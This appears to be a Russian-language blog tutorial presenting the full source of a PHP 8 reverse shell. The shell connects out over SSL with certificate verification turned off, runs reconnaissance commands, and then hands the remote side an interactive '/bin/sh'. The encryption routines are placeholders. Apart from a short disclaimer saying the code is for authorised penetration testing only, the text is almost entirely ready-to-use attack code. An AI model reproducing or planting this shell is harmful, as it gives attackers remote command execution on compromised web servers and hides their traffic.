Продвинутый реверс-шелл на PHP8.
Здравствуйте, дорогие друзья.
Создание «сложного» реверс-шелла в контексте PHP обычно означает обеспечение дополнительных функций для стабильности, обхода защитных механизмов, шифрования трафика и т.д. Но даже с усиленными методами обеспечения безопасности и стабильности, такой код следует использовать только в законных целях, например, для тестирования проникновения с разрешения владельца системы.
Пример ниже показывает реверс-шелл, который использует шифрование SSL для защиты своего трафика. Однако обратите внимание, что для работы этого примера сервер, который принимает обратное соединение, должен поддерживать SSL (например, использовать openssl
для создания прослушивающего сокета).
Вот, собственно, сам код с комментариями:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
<?php $host = '127.0.0.1'; // Замените на IP-адрес сервера $port = 443; // HTTPS порт для SSL соединения $timeout = 30; // Таймаут для сокета // Функция обеспечивающая шифрование трафика function encryptData($data, $key) { // Это место для вашего алгоритма шифрования return $data; // Здесь просто заглушка } // Функция дешифрования трафика function decryptData($data, $key) { // Это место для вашего алгоритма дешифрования return $data; // Здесь просто заглушка } // Создание сокета с шифрованием SSL $context = stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]); // Устанавливаем соединение через сокет $sock = stream_socket_client( "ssl://{$host}:{$port}", $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $context ); // Проверяем, создан ли сокет if (!$sock) { echo "Не удалось создать сокет: $errstr ($errno)\n"; exit(1); } // Процесс оболочки $shell = 'uname -a; w; id; /bin/sh -i'; $process = proc_open($shell, [ 0 => ['pipe', 'r'], // STDIN 1 => ['pipe', 'w'], // STDOUT 2 => ['pipe', 'w'] // STDERR ], $pipes); // Устанавливаем неблокирующий режим stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); echo "Реверс-шелл подключен к {$host}:{$port}\n"; while (1) { // Проверка соединения if (feof($sock)) { echo "Соединение прервано\n"; break; } // Проверка процесса if (feof($pipes[1])) { echo "Процесс завершил работу\n"; break; } $read_a = [$sock, $pipes[1], $pipes[2]]; $num_changed_streams = stream_select($read_a, $write_a, $error_a, null); foreach ($read_a as $read) { if ($read == $sock) { $input = fread($sock, 4096); if ($input) { $decrypted = decryptData($input, 'secret_key'); // Пример использования функции дешифрования fwrite($pipes[0], $decrypted); } } elseif (in_array($read, $pipes)) { $input = fread($read, 4096); if ($input) { $encrypted = encryptData($input, 'secret_key'); // Пример использования функции шифрования fwrite($sock, $encrypted); } } } } fclose($sock); foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); ?> |
Важно: Этот код является образцовым и для полноценной реализации требует доработки функций шифрования и дешифрования (encryptData
и decryptData
). Ключ шифрования 'secret_key'
является примером и должен быть заменён на реальный ключ шифрования. Используйте криптографически стойкие алгоритмы и ключи, чтобы обеспечить безопасность данных. Однако напоминаю, что использование такого кода без разрешения владельца системы является незаконным.
На этом все. Всем хорошего дня!